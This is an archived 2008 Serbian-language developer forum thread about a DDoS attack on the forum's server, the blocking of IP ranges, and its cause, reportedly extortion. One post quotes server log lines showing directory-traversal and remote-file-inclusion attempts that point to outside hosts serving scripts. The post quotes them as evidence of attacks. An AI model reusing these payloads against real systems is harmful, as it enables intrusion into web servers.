- -
ddos napad
(
http://www.devprotalk.com/showthread.php?t=4667)
| bluesman |
06. 02. 2008. 14:48 |
ddos napad
Sigurno ste primetili da celo pre podne nismo imali pristup sajtu, to je zbog toga sto je na port 80 bio zesci ddos napad.
Znaci napad je bas zesci, server je radio normalno, svi ostali servisi su ok, ali od httpd nikakve vajde jer je broj konekcija bio uzasan. Nije napadan ni jedan odredjeni sajt vec direkno na ip adresu, svi sa raznih ip adresa, rusi, indijci, kinezi, rumuni... gomila masina, svi traze "GET /", ceo log je prepun ovakvih:
193.231.126.17 - - [06/Feb/2008:13:36:19 +0100] "GET / HTTP/1.1" 403 3931 "-" "Opera/9.02 (Windows NT 5.1; U; ru)"
Na kraju smo blokirali pristup plovini interneta pa polako pustamo ...
Ne znam da li se neko odavde nekome zamerio pa se neko sveti ili se neko pravi pametan...
|
| LiquidBrain |
06. 02. 2008. 15:32 |
Hehe... Ja vec ceo dan juce i danas imam napade na server od strane "albanian security clan" grupe... Shto DDos, sto pokusaje inkludovanja remote skripti...
|
| conica |
06. 02. 2008. 15:46 |
mi smo isto juce i prekjuce na serveru imali napad iste grupe rekla bih (ili bar veoma slicne...)
|
| LiquidBrain |
06. 02. 2008. 15:56 |
hehehe... samo sto cu ja i da uzvratim :)
|
| Dušan Dželebdžić |
06. 02. 2008. 16:27 |
Izgleda da se nešto događa, ja sam pre 15ak min imao nekoliko pokušaja XSS napada. Sreća pa sam pravio custom CMS, tako da se završilo na pokušaju :)
|
| benjamin |
06. 02. 2008. 17:47 |
takodje udarili mi na jedan od 5 javnih interfesja, ddos već nekoliko sati
|
| dootzky |
06. 02. 2008. 17:47 |
freaky stuff, ja sam bas konstatovao kako forum ne radi..
drago mi je da postoji i public objasnjenje, al' sto kaze Liquid, valjalo bi grunuti i te batice malo nazad, cisto da se opamete ^_^
doduse, i to su corava posla.
bah.. uvek ce postojati neke budale i lejmeri.. fuc|<'m
|
| LiquidBrain |
06. 02. 2008. 18:09 |
Ma problem je sto po zakonu ne moze da se postavi ofanzivni firewall... pa kada neko tako nesto proba da ga automatski odje*e...
Mada nije to nesto definisano zakonom, ali verujem da bi se nasao neko ko bi napravio buku oko toga...
Ovo su neki primeri sta pokusavaju... tacno se vidi da su retardirani klinci koji pokusavaju da iskoriste javno poznate propuste...
Kôd:
phpMyAdmin/css/print.css?lang=en-utf-8&convcharset=iso-8859-1&collation_connection=utf8_unicode_ci&token=eb25a56f96b9bbcd9ddd078d9ea75a41
HEAD /..\\..\\..\\..\\img\\odluka.gif HTTP/1.1 with response code(s) 404 1 responses
GET /opstina/..%5C..%5C..%5C..%5Cimg%5Ckodeks.gif HTTP/1.1 with response code(s) 404 1 responses
GET /takmicenja//tools/send_reminders.php?noSet=0&includedir=http://www.laila.jp/item_pics/d3rf/teste.txt????????????????????????????? HTTP/1.1 with response code(s) 404 1 responses
GET //ws/login.php?noSet=0&includedir=http://www.bwa-handball.de/cms/images/banners/cmd2.txt?? HTTP/1.1 with response code(s) 404 1 responses
Problem je, kao sto bluesman kaze, to sto napadi dolaze sa dosta razlicitih lokacija... Na zalost napad je sa lose osiguranih servera,
koje su uspeli da preuzmu koriscenjem javnih exploita... |
| bluesman |
06. 02. 2008. 19:33 |
Što je najgore, napadi nisu samo sa "loše osiguranih servera" već i sa privatnih računara ljudi koji su fasovali trojance pa se sada pitaju zašto im je danas internet tako spor.
|
| Eniac |
06. 02. 2008. 22:46 |
i furku non stop nesto napada, smor :(
|
daj ip adrese ako si ih skupio, da napravimo blacklist za nase servere...
|
| bluesman |
07. 02. 2008. 00:31 |
Pa lista je bas velika, kao to rekoh morali smo pola interneta da blokiramo da bi popustali... iskreno ja sada i ne znam koliko ima tih ip-ova na listi.
|
| Milos Vukotic |
07. 02. 2008. 09:36 |
Blokirali ste i T-com CG... :P
|
| Dejan Topalovic |
07. 02. 2008. 10:50 |
Ne znam da li ima ikakve veze, ali ja juce na nekoliko minuta nisam mogao otvoriti nijedan sajt... Ni Google, niti bilo koji drugi sajt...
|
| bNasty |
07. 02. 2008. 10:53 |
Paranoik bi pomislio kako su sechenje podvodnih kablova i ddos napadi povezani.
|
| borstale |
07. 02. 2008. 11:15 |
Jel još uvek ima blokiranih IP-a? Javlja mi prijatelj iz Afrike da ne može da otvori neke moje sajtove koji su na ovom serveru.
Edit: IP mu je 192.168.17.143
|
| marinowski |
07. 02. 2008. 11:52 |
|
| MorenoArdohain |
07. 02. 2008. 11:57 |
|
| borstale |
07. 02. 2008. 13:48 |
Evo ga: 83.229.70.221
|
| PeTkO |
07. 02. 2008. 20:29 |
Brate, ne kapiram da li si toliki noob da ostavljas neciju IP adresu na forumu...pa sad moze bilo ko da bane ovde i da mu uzme njegov Ip i da mu sjebe ceo komp.Bolje da si poslao preko PM-a
|
| bluesman |
07. 02. 2008. 20:37 |
petko, ne vidim smajli ali nadam se da je neka šala :)
A možda si mi dao ideju da otvorimo forum koji se zove "istine i zablude" ili "sve što ste želeli da znate o... ".
|
| Dušan Dželebdžić |
07. 02. 2008. 20:51 |
Samo se ti zezaj Blues, šta ćeš posle kad mu neko upali olimpijsku baklju na hardu? ;)
|
| JovanT |
07. 02. 2008. 22:07 |
Само треба да буде опрезан, да прати упутства која су изнели у Дневнику.
|
| borstale |
08. 02. 2008. 07:43 |
Nego, čoveku je još uvek blokiran pristup, jel može opseg oko tog IP-a da se odblokira?
|
| Comanche |
08. 02. 2008. 11:39 |
E, pola sveta jos uvek ne vidi server, tj. sajt... nema odakle se sve nisu javili i pitaju zasto su "banovani" - USA, Nemacka, Bugarska
|
| robi-bobi |
08. 02. 2008. 13:05 |
^ код мене ради ДПТ од јуче
(Бугарска)
|
| Comanche |
08. 02. 2008. 17:18 |
I dalje ne radi, i danas stizu mailovi, poruke...
|
| Lalaland |
08. 02. 2008. 20:18 |
Citat:
Originalno napisao Comanche
(Napišite 50801)
I dalje ne radi, i danas stizu mailovi, poruke...
|
USA je i dalje delimicno zakacen (kako koji network). Ja ulazim preko proxy-a. |
| Milos Vukotic |
08. 02. 2008. 22:21 |
Meni i dalje treba proxy da bih dopro do dpt, iako moj provajder nema dovoljno korisnika ni za bijedan pokušaj ddos napada... Bolje da ste izvukli kabl iz servera, jednostavnije je... :1079:
|
| borstale |
08. 02. 2008. 22:33 |
Off Topic: E, pa Miloše, vi ćete da priznate Kosovo za neki dan, a ovo je u sklopu "tajnog plana" naše vlade :) |
| Milos Vukotic |
08. 02. 2008. 22:44 |
Off Topic: Hahaha... Pa se meni nepravdeno nameću ničim izazvane sankcije!? Neka, neka... |
| Comanche |
08. 02. 2008. 23:36 |
Saznao sam nesto vise u vezi ovog DDoS napada: bila je neka ucena u pitanju (vezano za konkretan sajt, po principu "plati da te ne DDoS-ujem", ali je napad bio na IP servera) i napad je prestao jos juce popodne, tako da nema bojazni vise, mozete da "otcepite" blokirane opsege adresa.
|
| Dzordz |
08. 02. 2008. 23:39 |
Off Topic:
kada u reci mislite da treba da stoje tc zajedno, obrisite t.
Slovo C se sastoji od ts a posto kod nas ne mogu dva ista slova da stoje jedno pored drugog onda tc ne moze nikako biti zajedno
Aj u zdravlje :)
|
| Nenad Vasić |
09. 02. 2008. 00:27 |
Off Topic:
Citat:
Originalno napisao Dzordz
(Napišite 50829)
Off Topic:
kada u reci mislite da treba da stoje tc zajedno, obrisite t.
Slovo C se sastoji od ts a posto kod nas ne mogu dva ista slova da stoje jedno pored drugog onda tc ne moze nikako biti zajedno
Aj u zdravlje :)
|
Fatal Error! :D Pravilno je "otcepiti" a evo i objašnjenja (poslednji pasus na stranici). |
| Dzordz |
09. 02. 2008. 08:34 |
Off Topic:
Cool! I stand corrected :D !
Nisam znao za doticne izuzetke!
|
174 sajta na jednu IP
Ne mogu da verujem da idu 174 sajta na jednu IP adresu. Pa onda nije ni čudo kad se desi ovako nešto....
|
| conica |
09. 02. 2008. 18:39 |
neki shared hostinzi idu i do 500-600 sajtovi koji su na jednoj adresi (koji uglavnom rade overselling)..sta je cudno za 174??
|
| bluesman |
09. 02. 2008. 22:12 |
A sta te duco tu cudi? Kako ti mislis da funkcionise shared hosting? Na kraju, svko moze da ima svoju IP adresu, to nije nikakav problem, za dodatnih 10 eur - dobijes IP i onda mozes da teras i secure i sta god hoces...
Off Topic: Definitivno otvaramo forum "istine i zablude" :) |
| misk0 |
11. 02. 2008. 09:51 |
Citat:
Originalno napisao bluesman
(Napišite 50870)
Off Topic: Definitivno otvaramo forum "istine i zablude" :)
|
Off Topic: Da, ozbiljno! Dobra ideja. Nova tema - link ka poruci i objasnjenje zasto to nije tako i slicno |
| bluesman |
11. 02. 2008. 11:05 |
Evo sada su ponovo oslobođene sve IP adrese koje su bile banovane, ako neko i dalje ima problem neka se javi.
Off Topic: I bi tako :) |
| Vreme je GMT +2. Trenutno vreme je 20:08. |
|
Powered by vBulletin® Verzija 3.6.8
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
Copyright © DevProTalk. All Rights Reserved.
Mišljenja, saveti, izjave, ponude ili druge informacije ili sadržaji nastali na Sajtu su vlasništvo onoga ko ih je kreirao, a ne DevProTalk.com, tako da ne morate da se oslanjate na njih.
Autori poruka su jedini odgovorni za ovakve sadržaje. DevProTalk.com ne garantuje tačnost, kompletnost ili upotrebnu vrednost informacija, stavova, saveta ili datih izjava. Ne postoje uslovi pod kojima bi mi bili odgovorni za štetu ili gubitak koji je posledica bilo čijeg oslanjanja na nepouzdane informacije, ili bilo kakve informacije nastale kroz komunikaciju između registrovanih članova.Web sajt može sadržavati linkove na druge web sajtove na Internetu ili neke druge sadržaje. Ne kontrolišemo niti podržavamo te druge web sajtove, niti smo pregledali bilo kakve sadržaje na takvim sajtovima. Mi nećemo biti odgovorni za legalnost, tačnost ili prikladnost bilo kog sadržaja, oglasa, proizvoda, usluga ili informacije lociranim na ili distribuiranih kroz druge web sajtove, niti za bilo kakvu štetu nastalu kao posledica takvih informacija. DevProTalk.com drži i čuva druga prava vlasništva na web sajtu. Web sajt sadrže materijale zaštićene copyright-om, zaštitne znakove i druge informacije o pravu vlasništva ili softver. Članovi mogu poslatu informacije zaštićene pravima vlasništva njihovih nosilaca i ona ostaju zaštićena bez obzira da li su oni koji prenose te informacije to naveli ili ne. Osim informacija koje su u javnom vlasništvu ili za koje dobijete dozvolu, nemate pravo da kopirate, modifikujete ili na bilo koji način menjate, objavljujete, prenosite, distribuirate, izvršavate, prikazujete ili prodajte bilo koju informaciju zaštićenu pravima vlasništva. Slanjem informacija ili sadržaja na bilo koji deo DevProTalk.com, Vi automatski dozvoljavate i predstavljate garanciju da imate pravo da dozvolite DevProTalk.com ili članovima DevProTalk.com bespovratnu, kontinualnu, neograničenu, globalnu dozvolu da koriste, kopiraju, izvršavaju, prikazuju i distribuiraju takve informacije i sadržaje i da iz takvih sadžaja koriste bilo koji deo u bilo koje svrhe, kao i pravo i dozvolu da koriste gore navedene sadržaje. Svi zaštitni znakovi (trademarks), logotipi, oznake usluga, firme ili imena proizvoda koji se pominju na ovom web sajtu su vlasništvo kojim raspolažu njihovi vlasnici.
